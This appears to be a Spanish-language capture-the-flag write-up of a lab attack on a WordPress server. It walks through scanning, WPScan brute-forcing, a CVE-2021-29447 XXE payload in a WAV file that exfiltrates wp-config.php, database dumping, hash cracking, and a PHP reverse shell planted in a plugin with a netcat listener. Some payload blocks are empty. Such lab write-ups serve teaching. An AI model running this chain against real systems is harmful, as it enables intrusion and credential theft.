
El objetivo es realizar una evaluación de seguridad a gran escala de una aplicación web basada en WordPress, que culmine en un compromiso completo del servidor. La evaluación se centrará en explotar una vulnerabilidad específica del mundo real (CVE-2021-29447) para lograr el acceso inicial.
Objetivo del Proyecto: Demostrar una cadena de ataque completa sobre una instalación vulnerable de WordPress, explotando CVE-2021-29447 (XXE en la biblioteca de medios) para lograr ejecución remota de código y compromiso total del sistema.
Fase 1: Reconocimiento y Enumeración Escaneo de Red con Nmap:
bash Quick SYN scan to discover open ports nmap -sS -T4 10.201.3.95
Detailed version and script scanning nmap -sV -sC -p22,80,3306 10.201.3.95 -oA initial_scan Resultados:
text PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 80/tcp open http Apache/2.4.18 (Ubuntu) |_http-generator: WordPress 5.6.2 3306/tcp open mysql MySQL 5.7.33 Enumeración de WordPress con WPScan:
bash User enumeration wpscan --url http://10.201.3.95/ --enumerate u
Password brute-force attack wpscan --url http://10.201.3.95/ --usernames test-corp --passwords passwords.txt Credenciales Obtenidas:
Usuario: test-corp | Contraseña: test
Usuario: corp-001 | Contraseña: teddybear (descifrada más tarde)
Fase 2: Acceso Inicial - Explotación de XXE (CVE-2021-29447) Creación de Archivo WAV Malicioso:
bash echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00%remote;%param;%send;]>\x00' > payload.wav Payload DTD Externo (yup.dtd):
xml
">Servidor HTTP para Exfiltración de Datos:
bash python3 -m http.server 8000 Script PHP de Decodificación de Datos:
php
Credenciales de Base de Datos Extraídas:
php define('DB_NAME', 'wordpressdb2'); define('DB_USER', 'thedarktangent'); define('DB_PASSWORD', 'sUp3rS3cret132'); define('DB_HOST', 'localhost'); Fase 3: Acceso a Base de Datos y Recolección de Credenciales Conexión MySQL:
bash mysql -h 10.201.3.95 -u thedarktangent -p Consultas SQL Ejecutadas:
sql SHOW DATABASES; USE wordpressdb2; SHOW TABLES; SELECT user_login, user_pass FROM wptry_users; Hashes de Usuario Obtenidos:
text +------------+------------------------------------+ | user_login | user_pass | +------------+------------------------------------+ | corp-001 | $P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 | | test-corp | $P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 | +------------+------------------------------------+ Descifrado de Contraseñas con John the Ripper:
bash Create hash file cat > wp_hashes.txt << EOF corp-001:$P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 test-corp:$P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 EOF
Crack hashes john --wordlist=/usr/share/wordlists/rockyou.txt wp_hashes.txt john --show wp_hashes.txt Contraseñas Descifradas:
corp-001:teddybear
test-corp:test
Fase 4: Escalada de Privilegios y RCE Payload de Reverse Shell (Plugin Hello Dolly Modificado):
php
Listener de Netcat:
bash nc -nvlp 4444 Acceso Shell Obtenido:
text Connection received on 10.201.3.95 42314 Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP uid=33(www-data) gid=33(www-data) groups=33(www-data) Fase 5: Post-Explotación (Pendiente de Finalización) Comandos para la Próxima Sesión:
bash Flag hunting find / -name flag.txt 2>/dev/null find / -name root.txt 2>/dev/null find / -name user.txt 2>/dev/null
Privilege escalation enumeration sudo -l find / -perm -u=s -type f 2>/dev/null cat /etc/crontab ps aux uname -a cat /etc/os-release Hallazgos de Seguridad y Recomendaciones Vulnerabilidades Críticas Identificadas:
Recomendaciones de Mitigación:
Estado del Proyecto: 90% Completado - Reverse shell obtenido, captura de la bandera final y escalada de privilegios pendientes de nueva asignación de IP.
PARTE 2 ! BANDERA Fase Final: Post-Explotación y Captura de la Bandera Objetivo: Lograr el compromiso total del sistema y capturar la bandera final.
Acciones Realizadas:
Activación de Reverse Shell:
Editó el archivo del plugin hello.php en el panel de administración de WordPress (/wp-admin/plugin-editor.php)
Insertó un payload de reverse shell PHP configurado para conectarse de vuelta a nuestra máquina Kali (10.201.6.187:4444)
Ejecutó el payload accediendo a: http://ip-10-201-46-113.ec2.internal/wp-content/plugins/hello.php
Acceso Shell Exitoso:
Obtuvo una conexión reverse shell como usuario www-data
Salida del shell:
text Connection received on 10.201.46.113 46240 Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP uid=33(www-data) gid=33(www-data) groups=33(www-data) Exploración del Sistema de Archivos:
Descubrió el directorio de usuario: /home/stux/
Encontró el directorio de bandera: /home/stux/flag/
Ubicó el archivo de bandera: /home/stux/flag/flag.txt
Extracción de la Bandera:
Comando ejecutado: cat /home/stux/flag/flag.txt
Bandera capturada: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
Resumen Completo de la Cadena de Ataque
| Fase | Técnica Utilizada | Resultado |
|---|---|---|
| 1. Reconocimiento | Escaneo con Nmap | Descubrió WordPress 5.6.2 en Apache/2.4.18 |
| 2. Acceso Inicial | WPScan + Descifrado de contraseñas | Obtuvo acceso de administrador con test-corp:test |
| 3. Explotación de Vulnerabilidad | CVE-2021-29447 (XXE) | Extrajo wp-config.php mediante un archivo WAV malicioso |
| 4. Exfiltración de Datos | Recolección de credenciales MySQL | Obtuvo credenciales de BD: thedarktangent:sUp3rS3cret132 |
| 5. Escalada de Privilegios | Funcionalidad de administrador de WordPress | Editó plugin para obtener acceso reverse shell |
| 6. Compromiso Final | Exploración del sistema | Capturó la bandera final en /home/stux/flag/flag.txt |
Principales Hallazgos de Seguridad Vulnerabilidades Críticas Explotadas:
Recomendaciones de Seguridad: